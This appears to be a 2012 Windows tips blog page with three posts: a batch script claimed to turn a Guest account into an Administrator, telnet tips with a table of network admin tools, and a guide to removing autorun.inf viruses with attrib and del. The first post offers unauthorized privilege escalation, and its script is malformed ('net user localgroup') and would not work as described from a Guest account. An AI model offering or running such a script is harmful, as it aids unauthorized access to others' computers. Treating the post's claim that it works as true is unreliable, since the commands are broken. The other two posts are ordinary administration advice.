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Showing posts with label administrator. Show all posts
Showing posts with label administrator. Show all posts

Thursday, September 20, 2012

How To access the Windows Administrator Account From Guest Windows Account.


To Do This Just Follow the below given Steps.

---> Do this from Guest Account.

1. Copy the below code.

Code


echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0


2. Open Notepad and Save it as Guest2admin.bat ( You can keep any name the it should end with .bat Format) and keep the FILE TYPE as ALL FILES.


3. Execute this File where you Saved it.

A Command Prompt Window will Open and Close...And then,You'll come to the Administrator Account.

Thursday, September 6, 2012

network administrator's command line tools for windows 7, XP, vista :Microsoft Telnet Client tips and tricks for troubleshooting network problem

Microsoft Telnet Client tips and tricks


The telnet client is the most basic tool at your disposal when troubleshooting any network related problem. Here are some tips for using the Microsoft Telnet Client.

If you do not specify a host to open the telnet client starts in command mode. Usually you should start telnet with a host specified in the command line in which case it will start in connection mode. In connection mode everything you type goes to the host you are connected to. The only exception is the control character used to switch to command mode.

To switch from connection mode to command mode use the control character (the default is CTRL+]).

To switch from command mode to connection mode press Enter on an empty line. This only works if a connection is open.

How to turn on the local character display
Press Ctrl+]
Type set localecho
Press Enter on a blank line to return no connection mode

How to turn on client logging
Press Ctrl+]
Type set logfile telnet.log
Press Enter on a blank line to return to connection mode


Windows network administrator's command line tools



While we love and breathe keyboard shortcuts there is so much more that you can do without lifting your fingers from your keyboard. Here we compiled here a few essential command line tools used daily by Windows network administrators.
Most of these from the command should be executed from the command line but some have their own UI so you can also start them from the Windows Run dialog box (Windows Logo + R)
Also note that some of these tools are specific to the version of Windows you are running so check the XP/Vista column to know which one to use where.

Name Description XP Vista
cmstp Connection Manager Profile Installer - installs or removes Connection Manager service profiles. YES YES
firewall.cpl Opens windows firewall. YES YES
fsmgmt.msc Open shared folders. YES YES
inetcpl.cpl Internet Properties control YES YES
ipconfig IP Configuration display tool. Display current TCP/IP settings. YES YES
napclcfg.msc Network Access Protection configuration tool YES YES
nbtstat Displays protocol statistics and current TCP/IP connections using NBT. YES YES
ncpa.cpl or control netconnections Network connections YES YES
net Update, fix, or view the network or network settings YES YES
netsetup.cpl Network Setup Wizard YES NO
netsh Configure dynamic and static network information from the command prompt. YES YES
nslookup Look up an IP address of a domain or host on a network YES YES
pathping View and locate locations of network latency. This is a good tracert alternative. YES YES
route View and configure windows network route tables. YES YES
shrpubw.exe Create Shared Folder YES YES
sysdm.cpl System Properties control รข€“ Change computer name and domain membership. YES YES
telephon.cpl Opens phone and Modem options YES YES
telnet MS Telnet Client Telnet to another computer / device from the prompt. Used to troubleshoot network connectivity problems or to initiate simple connections.
Microsoft Telnet Client tips and tricks
YES YES
tracert View and locate network latency problems. A newer alternative is pathping. YES YES

Thursday, July 12, 2012

Remove Virus from Computer or USB Drive by Command Prompt

The word  “Virus” is a threat to users of Windows. Users feel uneasy to connect others USB or pen drive to their Computer for the inflections made by Virus. Viruses spread in Computer to Computer through the pen drive or any removable disk drive. Mainly Autorun.inf or many .exe  files like newfolder.exe, ravmon.exe etc affect the documents of your computer. If you try to delete the file from the directory they come back automatically every time and it easily spreads in the computer.

These Autorun or .exe files are written in such a manner that when we try to open or rename a drive a specific program starts as a result we can’t do those works.You can remove viruses from Task Manager. You have to stop the affecting process from “Task Manager” by choosing that process as “End Task” in Task Manager. But the virus programmer are much aware about that so when you want to open “Task Manager” by pressing “Ctrl+alt+del” you will see that the “Task Manager has been disabled by your administrator“.


In this situation there is another process to remove autorun.inf from Command Prompt. That seems more effective. You have go through some commands only. But the Command Prompt may be disabled by the virus. You can download a replacement of the Command Prompt.
However after getting the access of Command Prompt you can apply the following tricks to remove the virus from your computer.


First click the “Start” button and go to “Run“. You can also press “Windows+R“. Type “cmd” there.
Type the following commands in the Command Prompt
  • Type “<Drive_name>:” in the command prompt and hit “Enter“. (“Drive_name” is where the problem occurs, it may be any USB drive)
  • Type “attrib” and hit “Enter“. (This shows the files that are present in the currently working directory. You can also use the command “dir/w/o/a/p“)
  • If there are any file named autorun.inf then go for next steps else the drive is not affected with any autorun.inf file.
  • Type “attrib -h -r -s -a *.* ” then hit “Enter“.  (This command removes the Hidden, Read Only, System and Archive attributes over any file)
  • After unhiding and removing attributes you can see the files.  So you can delete the file now.
  • Type “del <filename>” in the Command Prompt and hit “Enter“. (As for example del autorun.inf)
Now your computer is virus free. Enjoy! Feel free to share your experience with us.